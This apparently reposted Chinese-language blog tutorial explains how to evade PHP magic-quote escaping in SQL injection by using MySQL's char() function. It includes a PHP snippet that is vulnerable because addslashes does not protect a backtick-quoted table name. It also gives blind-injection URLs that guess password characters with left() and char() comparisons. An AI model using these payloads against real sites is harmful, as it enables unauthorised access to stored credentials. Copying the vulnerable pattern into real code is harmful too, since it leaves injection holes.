char函数绕过魔术方法注入
Posted 可我浪费着我寒冷的年华
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了char函数绕过魔术方法注入相关的知识,希望对你有一定的参考价值。
我目前学习到的绕过魔术引号的几种方法(如果知道还有别的请万望告之):
1.倘若服务端是GBK可以尝试宽字节注入
2.使用char函数绕过魔术引号进行注入
3.同char函数类似的函数,例如bin(转换为2进制),或者oct(转换为8进制)
本篇就是介绍char函数来进行绕过魔术引号来注入。
以下CODE是一个源码案例:
<?php $link = mysqli_connect(\'localhost\', \'root\', \'root\'); mysqli_select_db($link, \'code\'); $table = addslashes($_GET[\'table\']); $sql = "UPDATE `{$table}` SET `username`=\'admin\' WHERE id=1"; if(!mysqli_query($link, $sql)) { echo(mysqli_error($link)); } mysqli_close($link);
Paylaod:
假设:select * from user where username = \'def\';
是可以等价于:select * from user where username = char(100,101,102);
那么在注入中自然也是可以如此。
假设一个站:http://www.baidu.com/newinfo.php?id=1
知道了它的列。char结合left函数注入。
http://www.baidu.com/newinfo.php?id=1 and left(password,1)=char(109)
假设第一个真的是等于109那么就返回正确。
当然了可以使用比较运算符来进行猜解。
http://www.baidu.com/newinfo.php?id=1 and left(password,1)>char(100)
然后猜解第二个的时候(假设第一个的char为100)。
http://www.baidu.com/newinfo.php?id=1 and left(password,2)>char(100,80)
表示python不太会玩儿。如果有人写出脚本可以分享来一起学习一下。
以上是关于char函数绕过魔术方法注入的主要内容,如果未能解决你的问题,请参考以下文章